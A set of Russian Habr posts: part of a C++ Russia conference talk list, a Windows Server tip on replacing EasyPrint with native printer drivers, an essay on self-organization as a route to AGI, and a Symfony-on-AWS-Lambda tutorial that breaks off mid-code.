[**Экосистема вокруг ОС: какие инструменты нужны разработчику?**](https://cppconf.ru/talks/b76289699f8b2288c2cb9f028d1b1f27/?utm_source=habr&utm_medium=668132)
##### Арсений Сапелкин
Лаборатория Касперского
Операционная система здорового человека должна не просто исполнять запросы программ, их загрузку и выполнение — она должна еще и предоставлять экосистему для разработчиков, которая упрощает разработку ПО под эту систему.
Арсений создавал средства разработки для KasperskyOS. Поэтому в своем докладе он не только разберет плюсы и минусы известных SDK различных систем, но и расскажет об уникальных чертах в SDK Kaspersky OS.
Этот доклад организован как обзор нескольких экосистем вокруг ОС (Android NDK, Fuchsia IDK, Tizen SDK и прочих), на примере которых спикер сформулирует представление об идеальной экосистеме С++ разработчика.
Также поговорим о новинках в KasperskyOS SDK и о том, как там стараются упростить жизнь разработчику.
---
### Практичный С++
[**Монолит vs Микросервисы, и Как эффективно работать с последними в C++**](https://cppconf.ru/talks/6cb8207a371a4008bf17d40b839815a5/?utm_source=habr&utm_medium=668132)
##### Антон Полухин
Яндекс Go
Микросервисы многим уже набили оскомину, но в контексте C++ тема работы с ними остаётся актуальной. Хороших фреймворков нет, все пилят что-то своё.
Давным-давно, лет пять назад, в Такси была монолитная архитектура. И жили с этим нормально... пока монолит не стал огромных размеров и не начались проблемы. Как эти проблемы преодолевались, к чему пришли, для чего нужен собственный фреймворк userver и как он устроен — об этом поведает непосредственный участник событий.
Антона представлять особо не надо: это известнейший участник сообщества, частный докладчик наших конференций и член комитета по стандартизации языка. Его выступление может помочь тем, у кого код работает под большой нагрузкой. Разработчикам фреймворков для создания микросервисов — тоже.
---
[**A Practical Approach to Error Handling**](https://cppconf.ru/talks/6adfed66306979a9e0e7591e2f1b8b16/?utm_source=habr&utm_medium=668132)
##### Arno Schoedl
think-cell Software
С обработкой ошибок приходится иметь дело всем, но вот как именно это делать — неочевидный вопрос. Понятно, что если игнорировать их все, это сделает программу абсолютно ненадежной. Но только пытаться предусмотреть все возможные ошибки без исключения значит чересчур усложнять программу с минимальной пользой. В think-cell используют и совершенствуют свой собственный принципиальный подход к обработке ошибок. Арно расскажет про их оригинальный подход, чтобы в следующем проекте вы смогли писать более надежное ПО с меньшими усилиями.
Доклад может быть интересен разработчикам любого уровня, так как с обработкой ошибок сталкиваются все.
---
[**С++ лямбда-идиомы**](https://cppconf.ru/talks/bb866860bdcf6bac421bd6832761b713/?utm_source=habr&utm_medium=668132)
##### Тимур Думлер
JetBrains
Лямбды в C++ чрезвычайно полезны, но немногие умеют ими по-настоящему пользоваться. А главное, далеко не все следят за их эволюцией в стандартах языка, полагаясь лишь на общие представления об этой сущности.
Появившиеся в С++11 лямбда-выражения уже были мощным и полезным инструментом в языке. Каждое последующее обновление стандарта добавляло новые возможности для лямбд: в С++14 появились generic лямбды и захваты с инициализатором, в С++17 — constexpr лямбды, в С++20 — default-construction и assignment лямбд, явные шаблонные параметры и другое. В грядущем стандарте С++23 будет еще больше интересных возможностей.
Тимур детально разберет эволюцию лямбд в C++ вплоть до ожидаемого С++ 23. Он рассмотрит ряд интересных паттернов программирования с лямбдами. Некоторые из них — это уже хорошо известные идиомы; другие — менее известные и даже неожиданные. Обсуждается наследование от лямбд с использованием pack expansion, три разных метода вызвать лямбду рекурсивно, ответ на вопрос «что произойдет, если мы присвоим немедленно вызываемое лямбда-выражение статическому объекту» и многое другое.
Обычно доклады структурированы «по горизонтали», то есть по стандартам языка. А здесь группировка именно «вертикальная», то есть разбирается конкретная фича в своей эволюции сквозь стандарты.
Доклад посвящается всем, кто хочет научиться использовать лямбды в C++, и всем, кому интересны их возможности в современных стандартах.
---
[**Запускаем почти произвольный код через WebAssembly на backend-end**](https://cppconf.ru/talks/ea61a436d31c4ebe4f589c09b9e1f718/%20?utm_source=habr&utm_medium=668132)
##### Александр Боргардт
VK
Часто при разработке сложного продукта внутри заводят скриптовый язык для «упрощения» работы. А что делать, если хочется еще один скриптовый язык или хочется заменить предыдущий язык?
Виртуальная машина wasm позволяет запускать произвольный код на различных скриптовых языках, вроде JS, Python или Lua, в едином окружении и одновременно.
Александр расскажет о достаточно необычном сценарии применения wasm. Многие думают, что wasm — это только для браузера. Это не так — его запускают и на бэкенде. Вы также услышите про все ограничения серверных приложений созданных на базе виртуальной машины wasm и связанные с этим возможности. Никто не рассматривал wasm как lingua franca для многоязычных систем, написанных с применением разных скриптовых языков. Никто не мерил производительность таких систем.
Всем, кому нужно комбинировать несколько языковых движков в одном серверном приложении. Странно и больно, но возможно.
---
[**Что происходит внутри браузера**](https://cppconf.ru/talks/0f89291cc2b346d79b5ca8143fe2146c/?utm_source=habr&utm_medium=668132)
##### Алексей Кузнецов
VK
Веб-браузер — незаменимый софт в жизни любого человека. Несмотря на то, что код для современных браузеров пишется в основном на JS, сами браузеры в массе своей написаны на С++.
Алексей подробно и с примерами опишет взаимодействие JS и C++ внутри браузера. В докладе разбирается современный процесс отображения интернет-страниц. Спикер покажет, что там скрывается под капотом и как JS, HTML и CSS-код преобразуется в C++: как это все компонуется вместе, управляется, рисуется и отображается. Будет и погружение в V8, Blink, Render и View.
Кстати, в процессе доклада будет возможность написать свое расширение стандарта для HTML-кода. Это явно подойдет тем, кто хочет узнать, как в современном мире работает браузер.
---
[**Сырые безопасные указатели в Chromium. MiraclePtr**](https://cppconf.ru/talks/3d96f77995f4446cb932fec657dee70e/?utm_source=habr&utm_medium=668132)
##### Александр Жиров
VK
Самая большая проблема безопасности в браузерах на основе Chromium — это ошибки, связанные с использованием объектов после их освобождения/уничтожения. Некоторые из этих багов удается эксплуатировать.
Александр Жиров на предстоящей C++ Russia расскажет, как для решения этой проблемы внедряется и используется MiraclePtr aka raw\_ptr aka BackupRefPtr.
---
### Производительность
[**Практики оптимизации производительности на примере ClickHouse**](https://cppconf.ru/talks/4e72fe605a878763e94050f13e719c5a/?utm_source=habr&utm_medium=668132)
##### Максим Кита
ClickHouse
ClickHouse делает упор на скорость, вопрос оптимизации производительности для этого проекта самый главный. Максим объяснит, как именно оптимизируют производительность в ClickHouse: перформанс-тесты и практики.
Он провел много времени, ускоряя эту СУБД с разных слоёв абстракции, и накопил хороший опыт, помогающий взглянуть на проблемы производительности с наиболее подходящей точки зрения. В рамках доклада он расскажет про инфраструктуру, которая используется для анализа производительности запросов и нахождения мест, которые следует оптимизировать. Также обсудим и выбор структуры данных, библиотек, написание специализаций.
Вы любите векторизовать SIMD-алгоритмы, или знаете как шаблонными специализациями ускорить конкретные алгоритмы? Тогда вам будет интересно.
В качестве бонуса вы услышите про нестандартные трюки — как на ровном месте можно ускорить неускоряемые вещи.
---
[**Доклад про декомпилятор GPGPU**](https://cppconf.ru/talks/b2897a9428c344fdba7f89460c4d37df/?utm_source=habr&utm_medium=668132)
##### Михаил Лукин
Судо
##### Кристина Михайленко
Судо
У нас уже был [доклад](https://www.youtube.com/watch?v=qs_VnaInh-s) «Программируем видеокарты: введение в основные виды GPGPU-оптимизаций». Это своего рода продолжение.
C++ разработчики все больше интересуются вычислениями с использованием GPU. Ведь это можно рассматривать как очередной способ ускорить выполнение программы.
Михаил и Кристина расскажут, что еще может сделать разработчик после того, как применил все классические оптимизации из курсов по GPGPU. Кроме того, они проанализируют несколько алгоритмов, применяемых в декомпиляторах, и их адаптации для архитектуры видеокарт. Вы узнаете, как разработка декомпилятора позволила найти узкие места и ускорить алгоритмы на GPGPU.
Любите копаться в ассемблере или интересуетесь GPGPU? Заходите послушать.
---
[**Файловый и сетевой стек в Userland: почему их нужно использовать в 2022 году**](https://cppconf.ru/talks/bc0dd45cc49c4766986cc0321c1e71fa/?utm_source=habr&utm_medium=668132)
##### Константин Ушаков
OKTET Labs
I/O-перформанс становится все популярнее, и вот почему:
* появляется больше ядер;
* PCIe Gen3 наконец-то уступает место PCIe Gen5 и перестает быть узким местом;
* драйверы NVMe и 200G NIC означают, что сеть становится быстрее.
Стеки которые были «ну, ок» в прошлом — теперь не ок. Невозможно увеличивать мощность железа и в то же время заниматься переключением контекста и прочим. И то, что раньше было «одним из вариантов», сейчас то, что нужно для приложений с высокой производительностью. Всё это можно будет обсудить с Константином — одним из разработчиков высокопроизводительного user space сетевого стека Open Onload.
Доклад понравится разработчикам, которым важна производительность их сетевых приложений.
---
[**Память как концепция в гетерогенных системах**](https://cppconf.ru/talks/0f1e65cfca2644d483670cd1221de4dd/?utm_source=habr&utm_medium=668132)
##### Константин Владимиров
МФТИ
C++ разработчики хорошо знают, что такое память и полагают, что имеют над ней контроль. Но много ли известно о памяти на GPU?
Внезапно многие привычные концепции из мира C++ ломаются, а создание single-source слоев абстракции (таких как SYCL) требует введения большого количества странных для CPU понятий и терминов. Всё это, конечно, влияет на производительность.
Константин расскажет про память, как ее понимают в C++ и как ее понимают для графики, и покажет много примеров на SYCL.
Это доклад — уже не введение в технологию, а более глубокий уровень работы с гетерогенной памятью GPU. Он будет полезен всем, кто хочет глубже погрузиться в мир программирования на GPU.
---
### Безопасность
[**Украшаем молоток: как автоматизировать разбор проблем в дебаггере**](https://cppconf.ru/talks/edd49ff3ef265482a4b75a8341f3f0d4/?utm_source=habr&utm_medium=668132)
##### Сергей Козлов
Лаборатория Касперского
Сергей поделится наработками Лаборатории Касперского по использованию отладчиков под различные платформы. Он покажет подходы к автоматизации разбора проблем и проведет лайвкодинг-демонстрацию нескольких скриптов в отладчике.
Будучи автором тех инструментов, о которых пойдёт речь, он не ограничится рассказом про готовые скрипты для отладчиков, но и раскроет принципы их устройства.
Итого, обсудим:
1. Поиск исключений, произошедших в потоке ранее (Win).
2. Вывод стеков 32-битного приложения для 64-битного kernel-mode дампа (Win).
3. Поиск потребителей большого количества памяти:
* анализ с AppVerifier.
* анализ без AppVerifier (GDB).
4. Что делать, если упали в boost::coroutine (GDB).
Будут и жизненные примеры, взятые из реальных продов, которые отвечают текущим запросам индустрии разработки.
Распределение демонстрируемых кейсов между Windows и Linux ~ 50/50.
---
[**Безопасный дизайн на С++**](https://cppconf.ru/talks/1763a0a92024b95420edd7b3a9218799/?utm_source=habr&utm_medium=668132)
##### Сергей Талантов
Лаборатория Касперского
Среди современных языков методы безопасной разработки особенно важны для C++, про способы сделать себе хуже с его помощью сказано уже многое.
В этом докладе делается обзор подхода «secure by design», при котором безопасность (security/safety) достигается путем изначально правильного проектирования, а не за счет устранения уязвимостей по факту их выявления.
Сергей рассмотрит паттерны безопасного дизайна и примеры их использования на С++. Он непосредственно занимается внедрением практик безопасного кодирования в различные продукты и не понаслышке знаком с реальным практическим использованием этих практик.
Посвящается разработчикам, которые думают над безопасностью своих приложений.
---
### Системное программирование
[**Голый Rust**](https://cppconf.ru/talks/1dd76099db53644cefcb47e699a41630/?utm_source=habr&utm_medium=668132)
##### Роман Проскуряков
Parity Technologies
Роман покажет внутреннее устройство std/core языка Rust: примитивы и подходы, которые можно применить как для низкоуровневого программирования (модуля ядра Linux, под микроконтроллеры), так и высокоуровневого, в том числе и многопоточного.
---
[**Go и мир системного программирования**](https://cppconf.ru/talks/0271b1623ecea06fa4a2ebd11b86962a/?utm_source=habr&utm_medium=668132)
##### Алексей Веселовский
Используя язык C++ как основной инструмент работы, важно не забывать посматривать и на развитие других языков.
Часто Go, наряду с C, C++, Rust и Zig, называют «системным языком программирования». Алексей предлагает обсудить, насколько это правда, и что вообще подразумевается под термином «системный язык».
Будет возможность написать пару несложных приложений и библиотек, которые обычно пишут на «системных языках программирования», и посмотреть, какую цену за это придется заплатить.
---
### Метапрограммирование
[**Декларативное метапрограммирование: обработка списков на этапе компиляции**](https://cppconf.ru/talks/f4b69a186bc64d15adde0a72a1c872fc/?utm_source=habr&utm_medium=668132)
##### Вадим Винник
N-able Technology
Механизм шаблонов в языке C++ позволяет построить библиотеку достаточно сложных алгоритмов обработки списков, включающих поэлементное преобразование, фильтрацию, поиск и сортировку. Для реализации таких алгоритмов подходит декларативный стиль. На примере обработки списков Вадим продемонстрирует метод декларативного метапрограммирования.
---
Захотелось увидеть это всё? Есть два разных способа. Если брать билет «онлайн + офлайн», то сможете первые дни смотреть на мониторе, а вот 26 июня встретиться вживую в Санкт-Петербурге.
Если вы далеко от Петербурга, есть и другой вариант. Можно купить онлайн-билет, тогда в первой части для вас ничего не изменится, а вторую будете смотреть в трансляции.
Что бы вы ни выбрали — будем рады видеть. Билеты, расписание и прочие подробности — на [**сайте конференции**](https://cppconf.ru/?utm_source=habr&utm_medium=668132). | https://habr.com/ru/post/668132/ | null | ru | null |
# Ускорение печати из терминальной сессии Windows Server или доработка EasyPrint напильником
И вот он настал, этот день, когда в очередной раз, ожидая распечатки от томно подмигивающего принтера, я, наконец, решил, что мое терпение не безгранично. Посвящается тем, кого тоже достала медленная печать на перенаправленных принтерах. Все знают про достоинства технологии EasyPrint, теперь поговорим о ее недостатках и методах борьбы с ними.
Задачей технологии EasyPrint является преобразование контента, выводимого на печать, в xps формат и передача его на клиентский компьютер, откуда он и будет напечатан с помощью родного драйвера. Проблема в том, что преобразование и передача, прибавившего в весе от такого преобразования, потока занимает слишком много времени. За универсальность приходится платить.
Решение состоит в использовании на сервере родных драйверов для каждого принтера, это позволяет осуществлять печатать напрямую, получая от клиента только физический адрес принтера. Сразу отмечу, что такое решение связано с риском превратить сервер в помойку драйверов, поэтому эти моменты нужно отслеживать. Ну и, понятно, что должен существовать драйвер нужного принтера для x64 систем (думаю, что x86 на серверах уже неактуально).
Перейдем от теории к практике.
Добавляем администратора в группу **«Операторы печати»**, чтобы видеть перенаправленные принтеры всех пользователей.
Отключаем преимущественное использование EasyPrint. Запускаем оснастку локальной политики (**gpedit.msc**), для доменов нужно использовать доменную политику. Переходим в **Конфигурация компьютера -> Административные шаблоны -> Компоненты Windows -> Службы удаленных рабочих столов -> Узел сеансов удаленных рабочих столов -> Перенаправление принтеров** и устанавливаем политику **«Использовать в первую очередь драйвер принтера Easy Print удаленного рабочего стола»** в **«отключено»**.
Запускаем оснастку **«Управление печатью»** (**printmanagement.msc**) и добавляем драйверы нужных принтеров на сервер печати.
Очень важно: название принтера в драйвере должно в точности совпадать с названием принтера в драйвере на клиентской машине, иначе перенаправленный принтер не подхватит драйвер на сервере. Проверить, используется ли драйвер EasyPrint для конкретного перенаправленного принтера, мы можем в свойствах этого принтера в оснастке **«Устройства и принтеры»** (после установки драйвера на сервер, для его использования пользователь должен перелогиниться на сервере). Если название принтеров в драйверах не совпадают, то запускаем редактор реестра, переходим на `[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Drivers\Version-3]` и меняем название нужного драйвера (после этого нужна перезагрузка). Благодаря такому твику, мы можем использовать на сервере нужный нам драйвер, отличный от клиентского. Для нужных мне принтеров HP я подобрал драйверы с одинаковым названием для клиентов (Windows XP) и для сервера (Windows Server 2008R2), использовав драйвера для разных редакций Windows Vista с сайта HP. Ленивые могут просто использовать драйвер от Microsoft, исправив его название в реестре.
Если у вас клиенты x64 с драйверами из поставки Windows или из Windows update, то есть большая вероятность, что они автоматически подтянутся на сервер при подключении клиента. Поэтому следите за установленными драйверами с помощью оснастки **«Управление печатью»**. Еще один твик – если у вас подтянулся ненужный драйвер, то вы можете удалить его из оснастки, не удаляя package, а ссылку на package удалить в этой ветке реестра `[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Print\PackageInstallation\Windows x64\DriverPackages]`. Тогда при следующем подключении этот драйвер не будет снова устанавливаться, и печать на этом принтере будет происходить средствами EasyPrint.
Слишком подробно не описывал, думаю, что читатели «в теме», если есть вопросы — задавайте. | https://habr.com/ru/post/308648/ | null | ru | null |
# К AGI через самоорганизацию и структурную адаптацию
Статья перед вами - это длинное введение, в котором я утверждаю, что нейросети - это тупик, что мир вокруг - это такой самоорганизующийся фрактал; возвращаю науку в далёкое прошлое, в котором не было чисел, но интеллект прекрасно работал и без них.
Интеллект, понимание, мышление, смысл. Магия - не иначе!
--------------------------------------------------------
Согласитесь, это очень удобно и правильно - определять третье через второе, а второе через первое. Так поступают *правильные* учёные, когда производят знание, доказывая различные теоремы и проводя эксперименты.
А что делать *неправильному* учёному, когда его критически настроенный собеседник обнаруживает рекурсию в цепочке определений? Правильно! Немного обидеться, а потом провозгласить этот "рекурсивный кирпич" основой всего "здания". Вот так и становится *мышление* необходимым условием для *интеллекта*! Ну а *интеллект* условием для *мышления*.
Насчёт "рекурсивного кирпича" я смеюсь только отчасти, ведь я сам собираюсь слепить его в этой и последующих статьях. Поэтому, не обижайтесь, неправильные учёные, я на вашей стороне)
Но, сначала давайте попробуем сделать разум современными способами.
### Субтрактивные нейросетевые технологии
Преклоняемся перед мастерством талантливейших людей - ML инженеров.
Решение уже есть. Оно спрятано внутри, и мы его найдём3-4 слоя по 5-15 нейронов должно хватитьНам поможет глазомер и врождённое чувство прекрасногоВычисление ошибкиВ ход пойдут самые современные инструментыБэкпроп в действии#### Математика против реальности
Современные нейросети работают с числами. Ну а с чем им еще работать? - спросите вы. Мы уверены в числах и операциях между ними. Почему не развить ещё один аппарат для работы с числами?
Сколько будет один разделить на два?Ответ: 0.5
Сколько будет одно яблоко разделить на два?Ответ: 2 половинки яблока
Сколько будет сумма 0.5 и 0.5?
Ответ: 1.0
А какова сумма двух половинок яблок?Ответ: 2 половинки яблока
Чувствуете подвох? На самом деле число всегда поставляется с единицей измерения. Полтора землекопа - как вам? В единице измерения числа заложены правила взаимодействия с числом или даже его принципиальная возможность существования рядом с единицей измерения.
Нейросети, убирая единицы измерения, мешают в кучу коней и людей. Черный ящик, действуя как безжалостная мясорубка, перемалывает объекты на входе в [неинтерпретируемый фарш](https://habr.com/ru/company/otus/blog/464695/).
Какой вывод-то?? А такой, что [число](https://ru.wikipedia.org/wiki/%D0%A7%D0%B8%D1%81%D0%BB%D0%BE) - это понятие математики. Математика работает корректно только внутри себя самой. Реальность же, *не всегда* работает по правилам математики.
Как так вышло вообще, что мы настолько поверили в работу с числами, что забыли про реальность? Или, по-другому, почему мы распространили законы математики на всю реальность?
### Аддитивная 3D печать разума
Тут не всё просто, нужен мысленный эксперимент. Суть: мы чудом сдампили человека и хотим его распечатать, нам надо понять требования на техпроцесс.
В чём разница между `Human` и `Set extends ChemicalElement`? [Очевидный](https://ru.wikipedia.org/wiki/%D0%9E%D0%B1%D1%8A%D0%B5%D0%BA%D1%82%D0%BD%D0%BE-%D0%BE%D1%80%D0%B8%D0%B5%D0%BD%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D0%BE%D0%B5_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5) ответ - в поведении и внутренней структуре. А ещё в в том, что человек - это *всегда* множество атомов, но множество атомов это *не всегда* человек. Давайте разберёмся, как превратить множество атомов в человека.
Пару секунд, самое главное-то мы ведь поняли? Человек это некая коллекция атомов, абстрактный контейнер. Ок, идём дальше.
А что если взять и с помощью 3d принтера из будущего попробовать собрать атом за атомом человека?! Получится или нет? Да, должно получится! Ведь принтер у нас из будущего, а в нашем будущем, как известно, возможно всё, что можно представить.
Так, стоп! А у нас получится `DeadHuman` или `AliveHuman`? Хотелось бы, чтоб человек наш был живым, не правда ли!
А, собственно, в какой момент времени `SomethingFrom3dPrinter` станет `AliveHuman?` Как понять, что из принтера вышел тот самый заветный атом, после которого к напечатанной массе уже нужно применять налоговый кодекс?
3D печать нам представляется медленным процессом, протекающим медленнее, чем процессы деградации живых тканей или, тем более, атомные процессы. Поэтому мы и задаём дурацкие вопросы о том, не начнёт ли прямо под принтером, внезапно, жить напечатанный только наполовину человек.
Другое дело, если принтер расставляет частицы в пространстве с такой сумасшедшей скоростью, что эти частицы, при ближайшей своей попытке взаимодействовать со своим окружением, вдруг "осознают", что они уже принадлежат контейнеру`Human.`И их взаимодействие друг с другом ведёт не к хаосу, а к поддержанию порядка внутри контейнера!
Хмммм... Где бы взять такой аппарат, чтобы он мог скомбинировать элементарные частицы быстрее, чем они провзаимодействуют друг с другом (да и с самим аппаратом)?
Вывод? 3D печать человека, несомненно), возможна, но надо порешать проблемы с отсутствием супер-быстрых 1) парсера человека, 2) хранилища и 3) принтера, нарушающих законы *современной* физики.
*Кстати, если кому интересно, как я представляю себе человеческий парсер, то это большоооой такой слайсер)*
Вот такойЧем тоньше - тем лучше!Самоорганизация
---------------
Ячейки БенараСамоорганизация - это, по-простому, процесс упорядочения элементов в открытой динамической системе.
Внешним проявлением самоорганизации является появление устойчивых структур, способных сохраняться *длительное* время. Например, [ячейки Бенара](https://ru.wikipedia.org/wiki/%D0%AF%D1%87%D0%B5%D0%B9%D0%BA%D0%B8_%D0%91%D0%B5%D0%BD%D0%B0%D1%80%D0%B0), представляющие собой устойчивую структуру конвективных потоков в вязкой жидкости при подогреве снизу.
Крайне простой пример ячеек Бенара показывает, что в самоорганизующихся системах не выполняется второе начало термодинамики, вследствие более одного устойчивого состояния. Фазовый переход осуществляется в условиях только локальных взаимодействий элементов системы. Не существует внешнего правила, согласно которому молекуле предписывается её точное расположение в заданный момент времени. Все элементы взаимодействуют только локально, и обмениваются энергией только с ближайшими соседями.
Цель агента
-----------
При этом в системе есть элементы, через которые происходит обмен энергией с окружающей средой. Именно через эти элементы система получает информацию о внешнем мире, и подстраивает под него свою структуру. Появление устойчивой структуры в результате обмена с окружающей средой, очевидно, не является частной или общей *целью* составляющих систему элементов, а является проявлением некоего закона природы, работающего для всех без исключения объектов реального мира.
Понятие цели, как внутренней мотивации для совершения осмысленных действий, появляется в размышлениях исследователей искусственного интеллекта в результате игнорирования динамики развития интеллектуальных агентов. Исследователи ошибочно пытаются создать агентов как устойчивые единицы, имеющие чёткую, изначально заданную цель. В результате такого подхода могут, тем не менее, успешно и эффективно решаться прикладные задачи, что наглядно демонстрирует современное состояние технологий нейронных сетей.
Само понятие Интеллект родилось как попытка объяснить феномен наличия в природе объектов, якобы, способных действовать *по собственному усмотрению*.
Я придерживаюсь позиции, что Интеллект является лишь характеристикой достаточно сложной системы, чтобы быть описанной в более простых терминах. Отказ от использования понятия внутренней цели агента принуждает действовать наиболее общим образом и разрабатывать алгоритмы, способные через самоорганизацию приводить к возникновению устойчивых единиц на макроуровне.
Подобные устойчивые на макроуровне единицы, в свою очередь, должны быть подвержены абсолютно таким же принципам самоорганизации, и их поведение должно описываться терминами в рамках терминологии более низкого уровня.
Интеллектуальный агент является не более чем пространственно устойчивой структурой взаимодействующих самоорганизующихся систем, сам по себе является самоорганизующейся системой и является частью самоорганизующейся системы более высокого уровня.
Фрактальная организация интеллектуальных агентов### Наблюдения инопланетян за планетой Земля
Два инопланетный учёных обсуждают открытие жизни на ЗемлеУтверждать, что на картинке нейрон - можноОчерчивание границ
------------------
Мы отчётливо понимаем, что непосредственный обмен информацией всё же реализуется только на самом низком уровне через взаимодействие самых мелких структурных элементов системы.
Но каким всё таки образом появляются границы, задающие принадлежность элементов тем или иным уровням организации структуры?
Наличие устойчивой макро-единицы во множестве идентичных элементов свидетельствует об устойчивых внутренних взаимодействиях, а также внешних взаимодействиях элементов этой макро-единицы с остальной частью системы.
Это, в свою очередь говорит о том, что внешняя по отношению к макро-единице часть системы также действует согласованным образом. Т.е. также представляет собой макро-единицу, давая адекватный, неслучайный отклик в ответ на внешнее воздействие.
Таким образом, чтобы элементам самоорганизующейся системы выделиться в отдельную единицу, им необходимо взаимодействовать с устойчивой внешней структурой.
Слева камень, справа система, которая научилась выигрышно работать с камнемПроцесс самоорганизации превращается в задачу подстройки управляющих воздействий под отклики исследуемой системы. В случае успешного решения задачи подстройки, задействованные элементы и будут определять устойчивую структуру макро-единицы.
Слева система, которая научилась выигрышно работать с системой, которая научилась выигрышно работать с камнемПосле успешного согласования двух макро-единиц их можно объединить в единицу более высокого уровня, очертив вокруг них новую границу.
Об этом говорит и [У. Росс Эшби](https://ru.wikipedia.org/wiki/%D0%AD%D1%88%D0%B1%D0%B8,_%D0%A3%D0%B8%D0%BB%D1%8C%D1%8F%D0%BC) в середине прошлого века:
У. Росс Эшби, Введение в кибернетику, 1959 г.Золотые словаПараметрическая и структурная адаптация
---------------------------------------
*Параметрическая адаптация* означает, что подстраиваются числовые параметры модели, минимизируются различные ошибки и пр.
*Структурная адаптация* - означает, что модель не работает с символами (числами), а работает по принципу адаптивного пространственно-временного фильтра для входящих потоков данных, просто перенаправляя потоки в правильном направлении.
**Буду очень признателен всем, кто в комментариях приведёт ссылки на работы по структурной адаптации.** Только, пожалуйста, не в режиме "всё объясняется, но спрогнозировать ничего не возможно".
Ещё пара куплетов
-----------------
Объекты реального мира это каналы для потоков устойчивых данных, в которых они усложняются, подстраивая свою структуру.
Т.е. происходит не аппроксимация функции, как в нейросетях, а подстройка структуры некоего фильтра, каналы которого перестраиваются, чтобы соответствовать идущему через него потоку данных.
Мир вокруг нас - самоорганизующаяся система, внутри которой есть устойчивые во времени и пространстве структуры. Структуры полностью определяются проходящим через них потоком данных. В мире конечное число элементов, а значит конечный объем информации. Элементарные элементы, хм) обладают конечным числом состояний. Поэтому неудивительно, что существуют в разных точках пространства внешне (структурно) похожие объекты с похожим поведением (потоком).
Поток данных - это структура. Правильный/адекватный поток данных происходит от другой адекватной (уже собранной) структуры. Т.е. одна структура подстраивается под другую (уже собранную). И т.д., по кругу.
Заключение
----------
Даже если нам немного стало понятнее, как очерчиваются границы между нелинейными динамическими системами, всё еще непонятно, как эти знания применять на практике. 100501-ого объяснения устройства мира, явно недостаточно для ТЗ программисту, чтоб он сел писать ядро ИИ.
В практической части, которая, будем надеяться, скоро последует за введением, я скажу, что надо переходить к построению систем с самоприменяющимися правилами построения, предложу вариант такой системы, покажу результаты. | https://habr.com/ru/post/692274/ | null | ru | null |
# Развертывание приложения Symfony в AWS Lambda
Сначала давайте разберемся, что такое бессерверная архитектура и когда она нужна.
Бессерверная архитектура позволяет выполнять фрагменты кода без мороки с инфраструктурой: в этом случае управлением веб-сервером, физическим оборудованием и администрированием занимается облачный провайдер, позволяя вам сосредоточиться исключительно на коде.
AWS Lambda обеспечивает высокую доступность, причем плата взимается только за фактически затрачиваемое время вычислений. Этот сервис может быть весьма полезен для таких задач, как запуск cron-заданий, отправка уведомлений в режиме реального времени, предоставление доступа к API, обработка каких-нибудь событий при выполнении различных операций и т. д. В сети можно найти массу примеров использования сервиса.
### Наш сценарий использования
Предоставить доступ к API, созданному с помощью [Symfony](https://symfony.com/), который публикует сообщения в [LinkedIn](https://www.linkedin.com/). Процесс разработки будет включать этапы от написания до развертывания кода.
### Пишем код
В Symfony 5-й версии появился новый компонент под названием [Notifier](https://symfony.com/doc/current/notifier.html), который дает возможность отправлять уведомления через разные сервисы ([Slack](https://slack.com/), [Twitter](https://twitter.com/Eniams_Dev), [Twilio](https://www.twilio.com/sms) и др.).
В Symfony нет встроенной поддержки [LinkedIn](https://www.linkedin.com/in/smainemilianni/), поэтому несколько месяцев назад я создал поверх Notifier шлюз для публикации контента в этой социальной сети. Исходный код шлюза можно посмотреть [по ссылке](https://github.com/ismail1432/notifier-linkedin), его же мы будем использовать и в этой демонстрации.
**Приступаем**
```
$ symfony new --full aws-lambda-linkedin-notifier
$ cd aws-lambda-linkedin-notifier
$ composer require eniams/linkedin-notifier
```
Включаем шлюз ([см. документацию](https://github.com/ismail1432/notifier-linkedin))
```
php
// config/bundles.php
return [
// others bundles,
Eniams\Notifier\LinkedIn\LinkedInNotifierBundle::class = ['all' => true]];
// .env
LINKEDIN_DSN=
```
**Логика публикации контента**
```
php
class PostContentController
{
/**
* @Route("/contents", name="post_content", methods="POST")
*/
public function __invoke(NotifierInterface $notifier, Request $request)
{
if(null !== $message = (\json_decode($request-getContent(), true)['message'] ?? null)) {
$notifier->send(new Notification($message, ['chat/linkedin']));
return new JsonResponse('message posted with success', 201);
}
throw new BadRequestException('Missing "message" in body');
}
}
```
Логика проста: мы предоставляем доступ к API через маршрут `/contents`, который принимает запрос POST с сообщением `message` в его теле.
В 11-й строке мы отправляем публикуемое сообщение в LinkedIn — благодаря Symfony и шлюзу это делается очень просто!
Будучи профессиональными разработчиками, покроем этот код автотестами:
```
php
class PostContentControllerTest extends WebTestCase
/**
* @dataProvider methodProvider
*/
public function testANoPostRequestShouldReturnA405(string $method)
{
$client = static::createClient();
$client-request($method, '/contents');
self::assertEquals(405, $client->getResponse()->getStatusCode());
}
public function testAPostRequestWithoutAMessageInBodyShouldReturnA400()
{
$client = static::createClient();
$client->request('POST', '/contents');
self::assertEquals(400, $client->getResponse()->getStatusCode());
}
public function testAPostRequestWithAMessageInBodyShouldReturnA201()
{
$request = new Request([],[],[],[],[],[], json_encode(['message' => 'Hello World']));
$notifier = new class implements NotifierInterface {
public function send(Notification $notification, Recipient ...$recipients): void
{
}
};
$controller = new PostContentController();
$response = $controller->__invoke($notifier, $request);
self::assertEquals(201, $response->getStatusCode());
}
public function methodProvider()
{
return [
['GET'],
['PUT'],
['DELETE'],
];
}
view rawTestPostContentController.php hosted with by GitHub
```
### Код готов! Пришло время его развернуть
Стоп! Что?! AWS Lambda не поддерживает PHP!
Именно так: AWS Lambda поддерживает не все языки программирования, а только некоторые, в том числе [Go, Java, Python, Ruby, NodeJS и .NET](https://dashbird.io/blog/most-effictient-lambda-language/).
Теперь надо учить новый язык и переписывать код? Надеюсь, нет!
Ничего переписывать не придется благодаря [Матье Напполи (Matthieu Nappoli)](https://mnapoli.fr/), создателю [Bref.sh](https://bref.sh/), и замечательной команде, помогающей ему поддерживать [этот проект с открытым исходным кодом](https://github.com/brefphp/bref).
Bref позволяет развертывать PHP-приложения в [AWS](https://aws.amazon.com/) и запускать их на [AWS Lambda](https://aws.amazon.com/lambda/).
Конфигурация развертывания
Добавим в kernel.php обработку логов:
```
php
// Kernel.php
